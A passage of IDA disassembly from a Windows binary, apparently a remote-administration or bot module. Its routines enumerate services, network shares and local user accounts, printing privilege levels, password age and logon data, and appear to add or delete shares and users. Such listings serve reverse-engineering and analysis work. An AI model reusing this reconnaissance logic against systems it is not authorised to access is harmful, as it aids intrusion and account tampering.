					; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_4457CC
		call	sub_4173AC
		add	esp, 0Ch


loc_40DF12:				; CODE XREF: sub_40DDD4+129j
		mov	eax, offset dword_4457CC
		retn
sub_40DDD4	endp

; ---------------------------------------------------------------------------
off_40DF18	dd offset loc_40DEC2	; DATA XREF: sub_40DDD4+D2r
		dd offset loc_40DEC9	; jump table for switch	statement
		dd offset loc_40DEDE
		dd offset loc_40DEE5
		dd offset loc_40DEAD
		dd offset loc_40DEBB
		dd offset loc_40DED0
		dd offset loc_40DED7
		dd offset loc_40DEB4
		dd offset loc_40DEFF
byte_40DF40	db	0,     9,     1,     2 ; DATA XREF: sub_40DDD4+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF52	proc near		; CODE XREF: sub_40F6F1+2148p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4413AC	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_40DF8A:				; CODE XREF: sub_40DF52+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_441378	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40DFC4
		nop
		call	near ptr 7C910331h
		cmp	eax, 0EAh
		jnz	loc_40E078


loc_40DFC4:				; CODE XREF: sub_40DF52+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40E06F
		lea	esi, [ebp+var_188]


loc_40DFD5:				; CODE XREF: sub_40DF52+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40E01E
		dec	eax
		jz	short loc_40E017
		dec	eax
		jz	short loc_40E010
		dec	eax
		jz	short loc_40E009
		dec	eax
		jz	short loc_40E002
		dec	eax
		jz	short loc_40DFFB
		dec	eax
		jz	short loc_40DFF4
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40DFF4:				; CODE XREF: sub_40DF52+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40DFFB:				; CODE XREF: sub_40DF52+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40E002:				; CODE XREF: sub_40DF52+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40E009:				; CODE XREF: sub_40DF52+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40E010:				; CODE XREF: sub_40DF52+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40E017:				; CODE XREF: sub_40DF52+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40E023
; ---------------------------------------------------------------------------


loc_40E01E:				; CODE XREF: sub_40DF52+87j
		push	offset aStopped	; "    Stopped"


loc_40E023:				; CODE XREF: sub_40DF52+A0j
					; sub_40DF52+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4173AC
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DFD5


loc_40E06F:				; CODE XREF: sub_40DF52+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40DF8A


loc_40E078:				; CODE XREF: sub_40DF52+6Cj
		push	[ebp+var_C]
		call	dword_4412BC	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40DF52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E08F	proc near		; CODE XREF: sub_40F6F1:loc_4118F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40E128
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40E0B8
		dec	eax
		jnz	short loc_40E108
		push	edi
		push	0
		call	sub_40E261
		pop	ecx
		pop	ecx
		jmp	short loc_40E104
; ---------------------------------------------------------------------------


loc_40E0B8:				; CODE XREF: sub_40E08F+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40E0F6
		push	24h
		push	edi
		call	sub_418630
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0F6
		push	57h
		pop	eax


loc_40E0CF:				; CODE XREF: sub_40E08F+77j
		push	eax
		call	sub_40EA39
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_445A88
		push	off_42DEB0[eax*4]
		push	offset unk_42E5BC
		push	esi
		call	sub_4173AC
		add	esp, 18h
		jmp	short loc_40E148
; ---------------------------------------------------------------------------


loc_40E0F6:				; CODE XREF: sub_40E08F+2Dj
					; sub_40E08F+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40E1B5
		add	esp, 0Ch


loc_40E104:				; CODE XREF: sub_40E08F+27j
		test	eax, eax
		jnz	short loc_40E0CF


loc_40E108:				; CODE XREF: sub_40E08F+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_445A88
		push	off_42DEB4[eax*4]
		push	offset unk_42E58C
		push	esi
		call	sub_4173AC
		add	esp, 10h
		jmp	short loc_40E148
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40E08F+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_445A88
		lea	eax, [eax+eax*2]
		push	off_42DEB0[eax*4]
		push	offset unk_42E554
		push	esi
		call	sub_4173AC
		add	esp, 0Ch


loc_40E148:				; CODE XREF: sub_40E08F+65j
					; sub_40E08F+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40E08F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E14E	proc near		; CODE XREF: sub_416561+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40E15B
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E15B:				; CODE XREF: sub_40E14E+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_421158
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_445C88, 1
		mov	ebp, eax
		jnz	short loc_40E198
		or	byte_445C88, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_418F5C
		pop	ecx
		mov	dword_445A28, eax


loc_40E198:				; CODE XREF: sub_40E14E+32j
		push	esi
		push	esi
		push	ebp
		push	dword_445A28
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_445A28
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40E14E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1B5	proc near		; CODE XREF: sub_40E08F+6Dp
					; sub_416885+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40E220
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40E220
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418630
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40E220
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4412B8
		pop	edi
		leave
		retn
sub_40E1B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_40E1B5+Ap
					; sub_40E1B5+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40E22D
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E22D:				; CODE XREF: sub_40E220+9j
		push	ebx
		push	esi
		mov	esi, dword_421074
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_418F5C
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E220	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E261	proc near		; CODE XREF: sub_40E08F+20p
					; sub_416561+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40E220
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40E220
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_441290
		pop	esi
		retn
sub_40E261	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E284	proc near		; CODE XREF: sub_40F6F1+222Bp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40E220
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 18h


loc_40E2BD:				; CODE XREF: sub_40E284+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_441304
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40E320
		cmp	ebx, 0EAh
		jz	short loc_40E320
		push	ebx
		push	ebx
		call	sub_40EA39
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_42E618
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 24h
		jmp	short loc_40E38D
; ---------------------------------------------------------------------------


loc_40E320:				; CODE XREF: sub_40E284+5Dj
					; sub_40E284+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40E384
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40E32E:				; CODE XREF: sub_40E284+FCj
		push	dword ptr [esi+10h]
		call	dword_4412AC	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40E345
		mov	eax, offset aNo	; "No"


loc_40E345:				; CODE XREF: sub_40E284+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40E32E
		xor	esi, esi


loc_40E384:				; CODE XREF: sub_40E284+A2j
		push	[ebp+var_4]
		call	dword_441448


loc_40E38D:				; CODE XREF: sub_40E284+9Aj
		cmp	ebx, 0EAh
		jz	loc_40E2BD
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E284	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3A5	proc near		; CODE XREF: sub_40F6F1:loc_411992p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40E449
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40E3E7
		dec	eax
		jz	short loc_40E3DC
		dec	eax
		jnz	short loc_40E402
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40E4EB
		add	esp, 14h
		jmp	short loc_40E3FE
; ---------------------------------------------------------------------------


loc_40E3DC:				; CODE XREF: sub_40E3A5+1Dj
		push	ebx
		push	edi
		call	sub_40E4CA
		pop	ecx
		pop	ecx
		jmp	short loc_40E3FE
; ---------------------------------------------------------------------------


loc_40E3E7:				; CODE XREF: sub_40E3A5+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40E3FB
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40E470
		add	esp, 0Ch
		jmp	short loc_40E3FE
; ---------------------------------------------------------------------------


loc_40E3FB:				; CODE XREF: sub_40E3A5+45j
		push	57h
		pop	eax


loc_40E3FE:				; CODE XREF: sub_40E3A5+35j
					; sub_40E3A5+40j ...
		cmp	eax, edi
		jnz	short loc_40E422


loc_40E402:				; CODE XREF: sub_40E3A5+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_445C8C
		push	off_42DEB4[eax*4]
		push	offset unk_42E700
		push	esi
		call	sub_4173AC
		add	esp, 10h
		jmp	short loc_40E469
; ---------------------------------------------------------------------------


loc_40E422:				; CODE XREF: sub_40E3A5+5Bj
		push	eax
		call	sub_40EA39
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_445C8C
		push	off_42DEB0[eax*4]
		push	offset unk_42E6C0
		push	esi
		call	sub_4173AC
		add	esp, 18h
		jmp	short loc_40E469
; ---------------------------------------------------------------------------


loc_40E449:				; CODE XREF: sub_40E3A5+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_445C8C
		lea	eax, [eax+eax*2]
		push	off_42DEB0[eax*4]
		push	offset unk_42E688
		push	esi
		call	sub_4173AC
		add	esp, 0Ch


loc_40E469:				; CODE XREF: sub_40E3A5+7Bj
					; sub_40E3A5+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E3A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E470	proc near		; CODE XREF: sub_40E3A5+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40E220
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40E220
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40E220
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_44129C
		pop	edi
		leave
		retn
sub_40E470	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4CA	proc near		; CODE XREF: sub_40E3A5+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40E220
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40E220
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_44128C
		pop	esi
		retn
sub_40E4CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E4EB	proc near		; CODE XREF: sub_40E3A5+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40E220
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40E220
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_441410
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E878
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E8B3
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4173AC
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E604
		dec	eax
		jz	short loc_40E5FD
		dec	eax
		jz	short loc_40E5F6
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E609
; ---------------------------------------------------------------------------


loc_40E5F6:				; CODE XREF: sub_40E4EB+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E609
; ---------------------------------------------------------------------------


loc_40E5FD:				; CODE XREF: sub_40E4EB+FFj
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E609
; ---------------------------------------------------------------------------


loc_40E604:				; CODE XREF: sub_40E4EB+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40E609:				; CODE XREF: sub_40E4EB+109j
					; sub_40E4EB+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DC10
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E8A4
; ---------------------------------------------------------------------------


loc_40E878:				; CODE XREF: sub_40E4EB+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42E730
		push	eax
		call	sub_4173AC
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40DC10
		add	esp, 20h


loc_40E8A4:				; CODE XREF: sub_40E4EB+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40E8B3
		push	[ebp+var_4]
		call	dword_441448


loc_40E8B3:				; CODE XREF: sub_40E4EB+40j
					; sub_40E4EB+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40E4EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8B9	proc near		; CODE XREF: sub_40F6F1+22CDp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40E220
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 18h


loc_40E8F8:				; CODE XREF: sub_40E8B9+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_441320
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E959
		cmp	eax, 0EAh
		jz	short loc_40E959
		push	eax
		push	eax
		call	sub_40EA39
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_42E944
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 24h
		jmp	short loc_40E9D4
; ---------------------------------------------------------------------------


loc_40E959:				; CODE XREF: sub_40E8B9+62j
					; sub_40E8B9+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E9E7
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E9D4


loc_40E96B:				; CODE XREF: sub_40E8B9+EDj
		cmp	edi, esi
		jz	short loc_40E9AA
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
